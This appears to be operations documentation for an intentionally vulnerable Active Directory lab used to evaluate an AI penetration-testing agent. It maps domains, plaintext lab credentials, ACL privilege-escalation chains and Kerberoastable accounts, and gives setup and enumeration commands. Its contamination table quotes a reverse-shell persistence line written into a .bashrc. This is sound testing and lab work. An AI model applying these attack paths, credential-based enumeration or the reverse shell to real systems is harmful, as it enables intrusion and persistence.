GOAD-Light Eval Range¶
Lab: GOAD-Light (Game of Active Directory — Light variant)
Purpose: Intentionally-vulnerable Active Directory environment used as the primary eval target for ARCHER AD, post-exploitation, persistence, pivoting, and lateral movement objectives.
Location: /home/jay/Projects/ARCHER/testenv/GOAD/
Provider: VirtualBox (headless), managed by Vagrant + Ansible
Host network: 192.168.56.0/24 (vboxnet0 host-only)
Network Topology¶
┌─────────────────────────────────────────────────────────────┐
│ 192.168.56.0/24 (vboxnet0) │
│ │
│ 192.168.56.10 192.168.56.11 192.168.56.22 │
│ DC01 / kingslanding DC02 / winterfell SRV02 / castelblack │
│ sevenkingdoms.local north.sevenkingdoms north.sevenkingdoms │
│ WinSrv 2019 (DC) WinSrv 2019 (DC) WinSrv 2019 (member) │
│ │
│ 192.168.56.101 (kali attacker / archer-kali container) │
└─────────────────────────────────────────────────────────────┘
Domain trust: sevenkingdoms.local ↔ north.sevenkingdoms.local (bidirectional)
Forest root: sevenkingdoms.local
Virtual Machines¶
| VM Name | Hostname | IP | Domain | Role | OS |
|---|---|---|---|---|---|
| GOAD-Light-DC01 | kingslanding | 192.168.56.10 | sevenkingdoms.local | Domain Controller | Windows Server 2019 |
| GOAD-Light-DC02 | winterfell | 192.168.56.11 | north.sevenkingdoms.local | Domain Controller | Windows Server 2019 |
| GOAD-Light-SRV02 | castelblack | 192.168.56.22 | north.sevenkingdoms.local | Member Server (IIS + MSSQL) | Windows Server 2019 |
DC01 — kingslanding.sevenkingdoms.local¶
- IP: 192.168.56.10
- Local admin password:
8dCT-DJjgScp - WinRM: port 5985 (HTTP), vagrant:vagrant
- Services: LDAP:389, Kerberos:88, SMB:445, WinRM:5985, RDP:3389
- Defender: Enabled
- Vagrant state: Tracked — start/stop via vagrant normally
DC02 — winterfell.north.sevenkingdoms.local¶
- IP: 192.168.56.11
- Local admin password:
NgtI75cKV+Pu - WinRM: port 5985 (HTTP), vagrant:vagrant
- Services: LDAP:389, Kerberos:88, SMB:445, WinRM:5985, LDAP anonymous RPC allowed
- Defender: Enabled
- Vagrant state: Tracked — must be started via vagrant to avoid orphan/state-divergence issues
SRV02 — castelblack.north.sevenkingdoms.local¶
- IP: 192.168.56.22
- Local admin password:
NgtI75cKV+Pu - WinRM: port 5985 (HTTP), vagrant:vagrant
- Services: SMB:445, WinRM:5985, IIS:80, MSSQL:1433, RDP:3389
- Defender: Disabled
- IIS: Allows ASP upload, runs as
NT Authority\Network - MSSQL: Admin =
jon.snow
Domain: sevenkingdoms.local (DC01)¶
Forest root. Managed by DC01 (kingslanding).
Users¶
| Username | Password | Groups | Privileges / Notes |
|---|---|---|---|
| administrator | 8dCT-DJjgScp |
Domain Admins | Local admin account |
| cersei.lannister | il0vejaime |
Lannister, Baratheon, Domain Admins, Small Council | Domain Admin |
| robert.baratheon | iamthekingoftheworld |
Baratheon, Domain Admins, Small Council, Protected Users | Domain Admin; Protected Users blocks NTLM/delegation |
| tywin.lannister | powerkingftw135 |
Lannister | — |
| jaime.lannister | cersei |
Lannister | — |
| tyron.lannister | Alc00L&S3x |
Lannister | — |
| joffrey.baratheon | 1killerlion |
Baratheon, Lannister | — |
| renly.baratheon | lorastyrell |
Baratheon, Small Council | — |
| stannis.baratheon | Drag0nst0ne |
Baratheon, Small Council | — |
| petyer.baelish | @littlefinger@ |
Small Council | — |
| lord.varys | _W1sper_$ |
Small Council | — |
| maester.pycelle | MaesterOfMaesters |
Small Council | — |
No Kerberoastable SPNs in sevenkingdoms.local. All SPNs are in north.sevenkingdoms.local. Cross-domain Kerberoasting requires the trust to be active.
Groups¶
| Group | Type | Notes |
|---|---|---|
| Lannister | Global | — |
| Baratheon | Global | RDP on kingslanding |
| Small Council | Global | RDP on kingslanding; ACL: add member to DragonStone |
| DragonStone | Global | ACL: WriteOwner on KingsGuard |
| KingsGuard | Global | ACL: GenericAll on stannis.baratheon |
| DragonRider | Global | — |
| AcrossTheNarrowSea | DomainLocal | Cross-domain group; GenericAll on kingslanding$ computer object |
ACL Attack Chain (sevenkingdoms.local)¶
tywin.lannister
└─ ForceChangePassword → jaime.lannister
└─ GenericWrite → joffrey.baratheon
└─ WriteDacl → tyron.lannister
└─ Self-Membership → Small Council
└─ Write-Self-Membership → DragonStone
└─ WriteOwner → KingsGuard
└─ GenericAll → stannis.baratheon
└─ GenericAll → kingslanding$ (DCSync path)
lord.varys
└─ GenericAll → Domain Admins (direct DA)
└─ GenericAll → AdminSDHolder (persistent DA via SDHolder)
AcrossTheNarrowSea (cross-domain group)
└─ GenericAll → kingslanding$ (DCSync path from north domain)
Domain: north.sevenkingdoms.local (DC02)¶
Child domain. Managed by DC02 (winterfell). Anonymous RPC/LDAP read is enabled — null-session enumeration works.
Users¶
| Username | Password | Groups | SPNs | Notes |
|---|---|---|---|---|
| eddard.stark | FightP3aceAndHonor! |
Stark, Domain Admins | — | Domain Admin; LLMNR/NTLM relay bot (5min interval) |
| catelyn.stark | robbsansabradonaryarickon |
Stark | — | — |
| robb.stark | sexywolfy |
Stark | — | LLMNR/NTLM relay bot (3min); RDP credential in DC02 autologon |
| arya.stark | Needle |
Stark | — | MSSQL execute-as-user |
| sansa.stark | 345ertdfg |
Stark | HTTP/eyrie.north.sevenkingdoms.local |
Kerberoastable |
| brandon.stark | iseedeadpeople |
Stark | — | ASREPRoastable (no pre-auth) |
| rickon.stark | Winter2022 |
Stark | — | — |
| hodor | hodor |
Stark | — | Password = username (spray target) |
| jon.snow | iknownothing |
Stark, Night Watch | HTTP/thewall.north.sevenkingdoms.local |
Kerberoastable; MSSQL admin |
| samwell.tarly | Heartsbane |
Night Watch | — | Password in LDAP description; MSSQL execute-as-login; GPO abuse |
| jeor.mormont | _L0ngCl@w_ |
Night Watch, Mormont | — | ACL WriteDacl+WriteOwner on Night Watch group |
| sql_svc | YouWillNotKerboroast1ngMeeeeee |
— | MSSQLSvc/castelblack.north.sevenkingdoms.local:1433MSSQLSvc/castelblack.north.sevenkingdoms.local |
Kerberoastable (strong password — crack-resistant) |
Kerberoastable Accounts Summary¶
| Account | SPN | Password Strength |
|---|---|---|
| sansa.stark | HTTP/eyrie.north.sevenkingdoms.local |
Weak (345ertdfg) |
| jon.snow | HTTP/thewall.north.sevenkingdoms.local |
Weak (iknownothing) |
| sql_svc | MSSQLSvc/castelblack... |
Strong (intentionally crack-resistant) |
ASREPRoastable Accounts¶
| Account | Notes |
|---|---|
| brandon.stark | Pre-authentication not required |
Groups¶
| Group | Type | Notes |
|---|---|---|
| Stark | Global | RDP on winterfell and castelblack |
| Night Watch | Global | RDP on castelblack |
| Mormont | Global | RDP on castelblack |
| AcrossTheSea | DomainLocal | Cross-domain group |
ACL Attack Chain (north.sevenkingdoms.local)¶
jeor.mormont
└─ WriteDacl + WriteOwner → Night Watch group
Anonymous LDAP / null-session
└─ ReadProperty + GenericExecute on DC=North (enumeration without creds)
SRV02 (castelblack) — Service Details¶
MSSQL (port 1433):
Admin: jon.snow
Execute-as-login: samwell.tarly → sa
Execute-as-user: arya.stark → dbo
IIS:
Allows ASP file upload
Runs as: NT Authority\Network
SMB shares: present (see vulnerabilities.yml for share names)
RDP:
Night Watch (group)
Mormont (group)
Stark (group)
Intentional Vulnerabilities & Attack Scenarios¶
| Vulnerability | Target | Entry Point |
|---|---|---|
| Kerberoasting | sansa.stark, jon.snow, sql_svc | Valid domain user + DC |
| ASREPRoasting | brandon.stark | No creds needed |
| Password spray | hodor (user=password) | Any auth service |
| Password in LDAP description | samwell.tarly | LDAP anonymous / any auth'd user |
| LLMNR/NTLM relay | eddard.stark bot (5min), robb.stark bot (3min) | Responder on same subnet |
| NTLM relay → MSSQL | — | Responder + ntlmrelayx |
| MSSQL execute-as-login | samwell.tarly → sa | MSSQL access |
| MSSQL execute-as-user | arya.stark → dbo | MSSQL access |
| MSSQL trusted link | jon.snow (admin) | MSSQL chaining |
| IIS ASP upload / RCE | castelblack IIS | Web exploit |
| GPO abuse | samwell.tarly has Edit Settings on "STARKWALLPAPER" GPO | DA or GPO editor access |
| ACL chain DA takeover | tywin → jaime → joffrey → tyron → Small Council → DragonStone → KingsGuard → stannis → kingslanding$ | Starting foothold |
| lord.varys GenericAll DA | lord.varys → Domain Admins | Direct foothold on varys |
| Anonymous LDAP enumeration | north.sevenkingdoms.local | No creds |
| Cross-domain group abuse | AcrossTheNarrowSea (north) → GenericAll → kingslanding$ | DA in north |
| DCSync (via ACL chain) | stannis.baratheon or AcrossTheNarrowSea members | End of ACL chain |
| Credential in DC02 autologon | robb.stark:sexywolfy | Physical/memory access to DC02 |
| Credential stored (TERMSRV) | robb.stark:sexywolfy for TERMSRV/castelblack | Credential manager |
| ADCS ESC1 | kingslanding DC01 | ADCS template abuse |
Missing from GOAD-Light (present in full GOAD): - Cross-forest exploitation (no Essos domain) - MSSQL trusted link across forests - ZeroLogon, PetitPotam unauthenticated - ESC2, ESC3, ESC4
Lab Management¶
Prerequisites¶
# Ansible (system)
which ansible # must be present
ansible --version # tested with ansible-core 2.19+
# Vagrant
which vagrant
vagrant --version
# VirtualBox
VBoxManage --version
# Python venv for GOAD tool (created on first use by goad.sh)
~/.goad/.venv/ # auto-created by goad.sh
Start the Lab¶
# Preferred — let vagrant manage all three VMs
cd /home/jay/Projects/ARCHER/testenv/GOAD/workspace/1acadc-goad-light-virtualbox/provider
vagrant up
# Verify from archer-kali container
docker exec archer-kali bash -c "
nc -zw3 192.168.56.10 88 && echo 'DC01:UP' || echo 'DC01:DOWN'
nc -zw3 192.168.56.11 88 && echo 'DC02:UP' || echo 'DC02:DOWN'
nc -zw3 192.168.56.22 445 && echo 'SRV02:UP' || echo 'SRV02:DOWN'
"
CRITICAL: Always start VMs through vagrant, not VBoxManage directly. Starting via VBoxManage startvm bypasses vagrant's state file and will orphan the VM — vagrant will then report it as "not created" even though it's running, blocking future provisioning.
Stop the Lab¶
cd /home/jay/Projects/ARCHER/testenv/GOAD/workspace/1acadc-goad-light-virtualbox/provider
vagrant halt
# Or stop individual VMs
vagrant halt GOAD-Light-DC01
vagrant halt GOAD-Light-DC02
vagrant halt GOAD-Light-SRV02
Check Lab Status¶
# Vagrant state
cd /home/jay/Projects/ARCHER/testenv/GOAD/workspace/1acadc-goad-light-virtualbox/provider
vagrant status
# VirtualBox state
VBoxManage list runningvms | grep GOAD
# Service-level check (from kali container)
docker exec archer-kali bash -c "
nc -zw3 192.168.56.10 88 && echo 'DC01 Kerberos:UP' || echo 'DC01 Kerberos:DOWN'
nc -zw3 192.168.56.10 389 && echo 'DC01 LDAP:UP' || echo 'DC01 LDAP:DOWN'
nc -zw3 192.168.56.11 88 && echo 'DC02 Kerberos:UP' || echo 'DC02 Kerberos:DOWN'
nc -zw3 192.168.56.22 445 && echo 'SRV02 SMB:UP' || echo 'SRV02 SMB:DOWN'
nc -zw3 192.168.56.22 1433 && echo 'SRV02 MSSQL:UP' || echo 'SRV02 MSSQL:DOWN'
"
# Auth verification (confirm AD is provisioned, not just booted)
docker exec archer-kali bash -c "
impacket-GetADUsers sevenkingdoms.local/cersei.lannister:il0vejaime -dc-ip 192.168.56.10 2>&1 | grep -c 'lannister\|stark\|baratheon' && echo 'AD provisioned' || echo 'AD NOT provisioned'
"
Provision (First-Time or After Rebuild)¶
Full provisioning via the GOAD tool (uses ~/.goad/.venv):
cd /home/jay/Projects/ARCHER/testenv/GOAD
~/.goad/.venv/bin/python3 goad.py -t install -l GOAD-Light -p virtualbox -m local \
-i 1acadc-goad-light-virtualbox
Manual ansible (if GOAD tool fails — run all playbooks in order):
GOAD=/home/jay/Projects/ARCHER/testenv/GOAD
INV1="$GOAD/ad/GOAD-Light/data/inventory"
INV2="$GOAD/workspace/1acadc-goad-light-virtualbox/inventory"
INV3="$GOAD/globalsettings.ini"
cd "$GOAD/ansible"
for pb in build.yml ad-servers.yml ad-parent_domain.yml ad-members.yml ad-trusts.yml \
ad-data.yml ad-gmsa.yml laps.yml ad-relations.yml adcs.yml \
ad-acl.yml servers.yml security.yml vulnerabilities.yml; do
echo "=== running $pb ==="
~/.goad/.venv/bin/ansible-playbook -i "$INV1" -i "$INV2" -i "$INV3" $pb
done
Playbook order matters. ad-trusts.yml must run after both DCs are promoted (ad-parent_domain.yml) and before ad-data.yml configures cross-domain groups.
Partial re-provision (after dc01+srv02 already provisioned, adding dc02 mid-session):
# Run with --limit to target specific hosts
~/.goad/.venv/bin/ansible-playbook -i "$INV1" -i "$INV2" -i "$INV3" \
--limit dc02 ad-servers.yml ad-parent_domain.yml ad-members.yml
# Then run trust + data against all
~/.goad/.venv/bin/ansible-playbook -i "$INV1" -i "$INV2" -i "$INV3" ad-trusts.yml
~/.goad/.venv/bin/ansible-playbook -i "$INV1" -i "$INV2" -i "$INV3" ad-data.yml
Rebuild DC02 (Full Procedure — Read Before Executing)¶
DC02 has five independent failure modes that compound. All five must be addressed in order — any one skipped will cause a silent failure that only surfaces after a 10-minute DCPROMO reboot cycle.
Failure mode summary¶
| Mode | Symptom | Root cause | Step that fixes it |
|---|---|---|---|
| Stale forest metadata | DCPROMO runs, reboots, comes back WORKGROUP | north NC still in DC01's forest | Step 0 |
| Hostname not WINTERFELL | DCPROMO runs, reboots, comes back WORKGROUP | Vagrant box starts as VAGRANT; rename needs its own reboot before DCPROMO |
Step 3 |
| Blank Administrator password | dcpromoui.log exit code 94; $Ansible.Changed = $true fires before Install-ADDSDomain, so Ansible shows changed and reboots even though DCPROMO failed |
StefanScherer/windows_2019 ships with blank local Administrator; -SkipPreChecks does NOT bypass this runtime check |
Step 4 |
| NAT adapter DNS wins over domain adapter | DCPROMO starts, reaches DoProgressLoop, then aborts with error 8524 — DNS lookup failure for kingslanding.sevenkingdoms.local |
NAT adapter (Ethernet) has lower interface metric than hostonly (Ethernet 2); queries for .local names go to 1.1.1.1 first, which returns NXDOMAIN |
Step 5 |
| WinRE recovery loop | VM inaccessible after multiple forced reboots | Windows triggers auto-recovery after ≥2 dirty shutdowns | Troubleshooting section |
Step 0 — Check for stale forest metadata on DC01 (MANDATORY before rebuild)¶
When DC02 is deleted, its AD registration is NOT automatically removed from DC01. If the forest still knows about north.sevenkingdoms.local, the new DC02's DCPROMO will silently fail.
python3 << 'EOF'
import winrm
s = winrm.Session("192.168.56.10", auth=("vagrant","vagrant"),
transport="ntlm", server_cert_validation="ignore")
print(s.run_ps("(Get-ADForest).Domains | Sort").std_out.decode())
EOF
# Must show ONLY: sevenkingdoms.local
# If north.sevenkingdoms.local appears, run the forest cleanup below
If north.sevenkingdoms.local appears, clean the forest before rebuilding:
# 1. Delete WINTERFELL NTDS Settings and Server objects from DC01 Sites config
python3 << 'EOF'
import winrm
s = winrm.Session("192.168.56.10", auth=("administrator","8dCT-DJjgScp"),
transport="ntlm", server_cert_validation="ignore")
r = s.run_ps("""
$ntds = "CN=NTDS Settings,CN=WINTERFELL,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=sevenkingdoms,DC=local"
Remove-ADObject -Identity $ntds -Recursive -Confirm:$false -ErrorAction SilentlyContinue
$srv = "CN=WINTERFELL,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=sevenkingdoms,DC=local"
Remove-ADObject -Identity $srv -Recursive -Confirm:$false -ErrorAction SilentlyContinue
Write-Output done
""")
print(r.std_out.decode())
EOF
# 2. Delete DomainDnsZones child NC first (error 8213 if skipped), then north NC
# Run both via ntdsutil using the administrator account on DC01
ANSIBLE_ALLOW_BROKEN_CONDITIONALS=True ansible -i /tmp/goad_combined_inventory dc01 \
-e ansible_user=administrator -e 'ansible_password=8dCT-DJjgScp' \
-m ansible.windows.win_shell \
-a '"partition management`nconnections`nconnect to server kingslanding.sevenkingdoms.local`nquit`ndelete NC dc=DomainDnsZones,dc=north,dc=sevenkingdoms,dc=local`nquit`nquit" | ntdsutil'
ANSIBLE_ALLOW_BROKEN_CONDITIONALS=True ansible -i /tmp/goad_combined_inventory dc01 \
-e ansible_user=administrator -e 'ansible_password=8dCT-DJjgScp' \
-m ansible.windows.win_shell \
-a '"partition management`nconnections`nconnect to server kingslanding.sevenkingdoms.local`nquit`ndelete NC dc=north,dc=sevenkingdoms,dc=local`nquit`nquit" | ntdsutil'
# 3. Verify (wait 30s first for replication)
sleep 30
python3 -c "
import winrm
s = winrm.Session('192.168.56.10', auth=('vagrant','vagrant'), transport='ntlm', server_cert_validation='ignore')
print(s.run_ps('(Get-ADForest).Domains | Sort').std_out.decode())
"
# Must show only: sevenkingdoms.local
Why DomainDnsZones must go first:
DC=northhasDC=DomainDnsZones,DC=northas a child partition. AD error 8213 ("leaf object only") blocks deletion of north until the child is removed.
Step 1 — Destroy the VM via vagrant (not VBoxManage)¶
Use vagrant global-status to get the 7-char machine ID, then destroy by ID:
vagrant global-status | grep GOAD-Light-DC02
# e.g., 8c8047e GOAD-Light-DC02 virtualbox running /path/to/provider
vagrant destroy <ID> -f
# e.g., vagrant destroy 8c8047e -f
Do NOT use
VBoxManage unregistervmto delete the VM. That bypasses vagrant's state file and leaves the workspace in a broken state. Always destroy through vagrant.
Step 2 — Start vagrant¶
cd /home/jay/Projects/ARCHER/testenv/GOAD/workspace/1acadc-goad-light-virtualbox/provider
vagrant up GOAD-Light-DC02
# Takes 5-10 minutes. Wait for: "Machine booted and ready!"
# Confirms: NICs configured, WinRM available on 192.168.56.11:5985
Step 3 — Rename to WINTERFELL and reboot (CRITICAL — must happen before any ansible)¶
The StefanScherer/windows_2019 Vagrant box starts with hostname VAGRANT. The build.yml common role schedules a rename but it needs its own reboot to apply. If DCPROMO runs while the hostname is still VAGRANT, the promotion silently fails — the machine reboots back into WORKGROUP with NTDS Stopped and no error in the logs.
Rename manually and wait for the reboot before running any ansible:
python3 << 'EOF'
import winrm
s = winrm.Session("192.168.56.11", auth=("vagrant","vagrant"),
transport="ntlm", server_cert_validation="ignore")
s.run_ps("Rename-Computer -NewName WINTERFELL -Force -Restart")
print("Rename + reboot triggered")
EOF
# Wait for WinRM to come back after reboot
until nc -zw3 192.168.56.11 5985; do sleep 10; printf '.'; done && echo " ready"
# Verify
python3 -c "
import winrm
s = winrm.Session('192.168.56.11', auth=('vagrant','vagrant'), transport='ntlm', server_cert_validation='ignore')
print(s.run_ps('hostname').std_out.decode().strip())
"
# Must show: WINTERFELL
Step 4 — Set local Administrator password (MANDATORY — blank on fresh Vagrant box)¶
Install-ADDSDomain requires a non-blank, complexity-compliant local Administrator password. The StefanScherer/windows_2019 box ships with a blank password. -SkipPreChecks does NOT bypass this check — it fails at runtime with dcpromoui.log exit code 94. The Ansible role's $Ansible.Changed = $true line fires before Install-ADDSDomain, so Ansible always reports changed and triggers the reboot regardless, masking the failure.
python3 << 'EOF'
import winrm, sys
s = winrm.Session("192.168.56.11", auth=("vagrant","vagrant"),
transport="ntlm", server_cert_validation="ignore")
r = s.run_ps('net user administrator "NgtI75cKV+Pu"')
print(r.std_out.decode().strip())
if r.status_code != 0:
print("ERROR"); sys.exit(1)
EOF
# Expected output: The command completed successfully.
Step 5 — Force ALL adapters to use DC01 as sole DNS server (MANDATORY)¶
ad-child_domain.yml sets only the domain adapter (Ethernet 2) to DC01. The NAT adapter (Ethernet) retains its DHCP-assigned DNS (1.1.1.1). Because the NAT adapter has a lower interface metric (higher priority), Windows sends DCPROMO's DNS query for kingslanding.sevenkingdoms.local to 1.1.1.1 first. 1.1.1.1 returns NXDOMAIN for .local names → DCPROMO aborts with error 8524 at DoProgressLoop. The machine reboots into a partial domain-join limbo (DomainRole 3, NTDS Stopped).
Fix: set ALL adapters to DC01 before DCPROMO and verify resolution:
python3 << 'EOF'
import winrm, sys
s = winrm.Session("192.168.56.11", auth=("vagrant","vagrant"),
transport="ntlm", server_cert_validation="ignore")
r = s.run_ps('''
Get-NetAdapter | Where-Object Status -eq Up | ForEach-Object {
Set-DnsClientServerAddress -InterfaceIndex $_.InterfaceIndex -ServerAddresses @("192.168.56.10")
}
# Verify
$result = Resolve-DnsName kingslanding.sevenkingdoms.local -Type A -ErrorAction Stop
Write-Output "Resolved: $($result.IPAddress)"
''')
print(r.std_out.decode())
if "192.168.56.10" not in r.std_out.decode():
print("ERROR: resolution failed — do not proceed to DCPROMO"); sys.exit(1)
EOF
# Must output: Resolved: 192.168.56.10
Step 6 — Run build.yml to apply common role (WinRM hardening, firewall)¶
cd /home/jay/Projects/ARCHER/testenv/GOAD/ansible
ANSIBLE_ALLOW_BROKEN_CONDITIONALS=True ansible-playbook \
-i /tmp/goad_combined_inventory build.yml --limit dc02 \
--extra-vars '{"add_route": false, "two_adapters": false}'
# Expected: ok=12 failed=0 (or failed=1 on static-route task — benign, see table)
# Do NOT trigger another reboot after this step.
Step 7 — DCPROMO via ad-child_domain.yml¶
cd /home/jay/Projects/ARCHER/testenv/GOAD/ansible
ANSIBLE_ALLOW_BROKEN_CONDITIONALS=True ansible-playbook \
-i /tmp/goad_combined_inventory ad-child_domain.yml \
--extra-vars '{"add_route": false, "two_adapters": false}'
# ansible disconnects mid-run when DC02 reboots for promotion — expected.
# Success indicator: last completed task before disconnect is "Reboot on dc02"
# or "enable Ethernet 2 for DNS client requests" (the dnscmd task that runs after reboot).
# Exit code 2 is normal.
# Wait for DC02 to come back
until nc -zw3 192.168.56.11 5985; do sleep 10; printf '.'; done && echo " WinRM up"
# Verify DCPROMO succeeded (use vagrant:vagrant — administrator NTLM may not work immediately post-promotion)
python3 << 'EOF'
import winrm
s = winrm.Session("192.168.56.11", auth=("vagrant","vagrant"),
transport="ntlm", server_cert_validation="ignore")
r = s.run_ps("hostname; (Get-WmiObject Win32_ComputerSystem).Domain; (Get-WmiObject Win32_ComputerSystem).DomainRole; (Get-Service NTDS -ErrorAction SilentlyContinue).Status")
print(r.std_out.decode())
# Expected:
# WINTERFELL
# north.sevenkingdoms.local
# 5 (Primary DC)
# Running
#
# If WORKGROUP / DomainRole 2 / Stopped: DCPROMO failed.
# Check log: Get-Content C:\\Windows\\debug\\dcpromoui.log -Tail 30
# Common cause: stale forest metadata on DC01 — re-run from Step 0.
EOF
Step 8 — Run AD data playbooks¶
cd /home/jay/Projects/ARCHER/testenv/GOAD/ansible
for pb in ad-data.yml ad-relations.yml ad-acl.yml; do
echo "=== $pb ==="
ANSIBLE_ALLOW_BROKEN_CONDITIONALS=True ansible-playbook \
-i /tmp/goad_combined_inventory "$pb" \
--extra-vars '{"add_route": false, "two_adapters": false}'
done
ad-trusts.yml is a no-op for GOAD-Light. The parent-child trust is established automatically during
ad-child_domain.yml. The[trust]group in the inventory is empty.
Step 9 — Post-rebuild health check (mandatory before running evals)¶
# DC02 must be a DC with NTDS running
python3 << 'EOF'
import winrm
s = winrm.Session("192.168.56.11", auth=("vagrant","vagrant"),
transport="ntlm", server_cert_validation="ignore")
r = s.run_ps("hostname; (Get-WmiObject Win32_ComputerSystem).Domain; (Get-Service NTDS,ADWS | Select Name,Status | Format-List)")
print(r.std_out.decode())
# Expected: WINTERFELL / north.sevenkingdoms.local / NTDS Running / ADWS Running
EOF
# SPNs must be visible cross-domain from the parent DC
docker exec archer-kali bash -c "
impacket-GetUserSPNs sevenkingdoms.local/cersei.lannister:il0vejaime \
-dc-ip 192.168.56.10 -request 2>&1 | head -10
"
# Expected: sansa.stark, jon.snow, sql_svc appear
# If 'No entries found': trust not active or ad-data.yml did not complete
Step 10 — Take a VirtualBox snapshot¶
VBoxManage snapshot "GOAD-Light-DC02" take "provisioned-$(date +%Y%m%d)" \
--description "WINTERFELL north.sevenkingdoms.local DC, AD data loaded"
# Restore later with: VBoxManage snapshot "GOAD-Light-DC02" restore "provisioned-YYYYMMDD"
# Restore is 5 seconds vs 90 minutes of re-provisioning.
Overnight automation script¶
The full sequence above (Steps 4–8) is scripted at testenv/overnight_dc02.sh. Run it after Step 3 (rename+reboot) has completed:
nohup bash testenv/overnight_dc02.sh > /tmp/overnight_dc02.log 2>&1 &
# Monitor: tail -f /tmp/overnight_dc02.log
# On failure: last line will say FATAL: <step that failed>
Known benign failures during provisioning¶
| Playbook | Host | Error | Fix / Why benign |
|---|---|---|---|
build.yml |
dc02 | add_route is undefined static-route task fails |
Add --extra-vars "add_route=no" |
ad-child_domain.yml |
dc02 | dnscmd: not recognized as cmdlet after DCPROMO reboot |
DNS listener config runs post-reboot before DNS tools are on PATH. Non-critical — DNS resolves correctly. |
ad-members.yml |
srv02 | "switching domains is not implemented" | srv02 already joined north domain from a prior run; benign |
| All playbooks | All | two_adapters: str vs bool deprecation warning |
Add --extra-vars "two_adapters=no" to suppress |
Combined inventory file¶
The GOAD data/inventory has host groups but no IPs. The workspace/.../inventory has IPs but only a [default] group. A combined inventory is required:
If this file is missing, recreate it — see the inventory template in this doc's Ansible section.
Destroy and Full Rebuild¶
cd /home/jay/Projects/ARCHER/testenv/GOAD/workspace/1acadc-goad-light-virtualbox/provider
vagrant destroy -f
vagrant up
# Then run full ansible provisioning (see Provision section above)
Suspend / Resume (Snapshot)¶
# Suspend all (saves VM state — fast resume, preserves AD state)
cd /home/jay/Projects/ARCHER/testenv/GOAD/workspace/1acadc-goad-light-virtualbox/provider
vagrant suspend
# Resume
vagrant resume
# Snapshot via VirtualBox (point-in-time, after full provisioning)
VBoxManage snapshot "GOAD-Light-DC01" take "provisioned-$(date +%Y%m%d)" --live
VBoxManage snapshot "GOAD-Light-DC02" take "provisioned-$(date +%Y%m%d)" --live
VBoxManage snapshot "GOAD-Light-SRV02" take "provisioned-$(date +%Y%m%d)" --live
# Restore snapshot
VBoxManage snapshot "GOAD-Light-DC01" restore "provisioned-20260606"
Ansible WinRM Configuration¶
The ansible inventory (ad/GOAD-Light/data/inventory) uses:
ansible_user=vagrant
ansible_password=vagrant
ansible_connection=winrm
ansible_winrm_server_cert_validation=ignore
ansible_winrm_operation_timeout_sec=400
ansible_winrm_read_timeout_sec=500
Default transport resolves to HTTPS (port 5986). If HTTPS is unavailable, force HTTP:
~/.goad/.venv/bin/ansible dc02 -i "$INV1" -i "$INV2" -i "$INV3" \
-e "ansible_port=5985 ansible_winrm_transport=ntlm" -m win_ping
ARCHER Eval Harness Integration¶
Constants defined in testenv/eval_harness.py:
_GOAD_DC01 = "192.168.56.10" # kingslanding.sevenkingdoms.local
_GOAD_DC02 = "192.168.56.11" # winterfell.north.sevenkingdoms.local
_GOAD_SRV02 = "192.168.56.22" # castelblack.north.sevenkingdoms.local
_GOAD_KERBEROAST_CREDS = "sevenkingdoms.local/cersei.lannister:il0vejaime"
Note: _GOAD_KERBEROAST_CREDS must use il0vejaime as the password. The config.json sets this; do not revert to icejohnsnow (Jon Snow's password — wrong user).
AD Preflight (used by PT-AD-01/02/03/04)¶
# eval_harness.py ~line 2631
(_GOAD_DC02, "88", "DC02/winterfell (Kerberos)"),
(_GOAD_SRV02, "445", "SRV02/castelblack (SMB)"),
Both DC02:88 and SRV02:445 must be reachable before AD objectives run.
Objectives That Require This Range¶
| Objective | Target | Requires |
|---|---|---|
| PT-AD-01 | Any GOAD host | DC02:88 + SRV02:445 preflight |
| PT-AD-02 | Any GOAD host | DC02:88 + SRV02:445 preflight |
| PT-AD-03 | North domain null-session | DC02:88 + SRV02:445 preflight |
| PT-AD-04 | sevenkingdoms.local Kerberoasting | DC01 + cross-domain trust active |
| PT-PIVOT-05/06/07 | Internal pivot via GOAD hosts | GOAD VMs running |
Verify Lab is Eval-Ready¶
# Full readiness check
docker exec archer-kali bash -c "
nc -zw3 192.168.56.10 88 && echo 'DC01 Kerberos:UP' || echo 'FAIL DC01:88'
nc -zw3 192.168.56.11 88 && echo 'DC02 Kerberos:UP' || echo 'FAIL DC02:88'
nc -zw3 192.168.56.22 445 && echo 'SRV02 SMB:UP' || echo 'FAIL SRV02:445'
impacket-GetUserSPNs sevenkingdoms.local/cersei.lannister:il0vejaime \
-dc-ip 192.168.56.10 2>&1 | grep -E 'ServicePrincipalName|No entries' | head -2
"
Expected output when healthy:
DC01 Kerberos:UP
DC02 Kerberos:UP
SRV02 SMB:UP
ServicePrincipalName ... (Kerberoastable account found via cross-domain trust)
If No entries found! is returned for SPNs: cross-domain trust is missing — run ad-trusts.yml.
Cross-Run Contamination Risks¶
Certain ARCHER eval objectives leave persistent state on the VMs that affects subsequent runs:
| Source Objective | Contamination | Affected Objectives | Mitigation |
|---|---|---|---|
| PT-PERSIST-03 | Appends bash -i >& /dev/tcp/192.168.56.101/4444 0>&1 to /home/msfadmin/.bashrc on Metasploitable2 (not GOAD) |
PT-POST-02, PT-EXFIL-02 | _setup_t23() cleanup in eval_harness.py |
| PT-PIVOT-03/05 | Leaves chisel/socat processes running | Subsequent pivot objectives | Pivot teardown in setup_fn |
GOAD VMs are not directly affected by these contamination paths. Cross-run contamination on GOAD hosts is mitigated by the AD preflight which verifies basic reachability before each run.
Troubleshooting¶
All LDAP auth fails (invalidCredentials)¶
- Check if AD is provisioned:
impacket-GetADUsers sevenkingdoms.local/administrator:'8dCT-DJjgScp' -dc-ip 192.168.56.10 -all— if only Administrator/Guest/krbtgt appear, re-runad-data.yml. - Check DC01 is running:
VBoxManage list runningvms | grep DC01 - Check clock skew: Kerberos requires ≤5 min skew between kali and DC.
No SPNs found (Kerberoasting returns "No entries")¶
All Kerberoastable accounts (sansa.stark, jon.snow, sql_svc) are in north.sevenkingdoms.local. Possible causes:
- DC02 is not running —
VBoxManage list runningvms | grep DC02 - DC02 DCPROMO failed silently — check:
(Get-WmiObject Win32_ComputerSystem).Domainshould benorth.sevenkingdoms.local, notWORKGROUP;Get-Service NTDS | Select Statusshould beRunning ad-data.ymldidn't complete — re-run it- Cross-domain trust not established — verify
ad-child_domain.ymlcompleted successfully (parent-child trust is automatic;ad-trusts.ymlis a no-op for GOAD-Light)
Note:
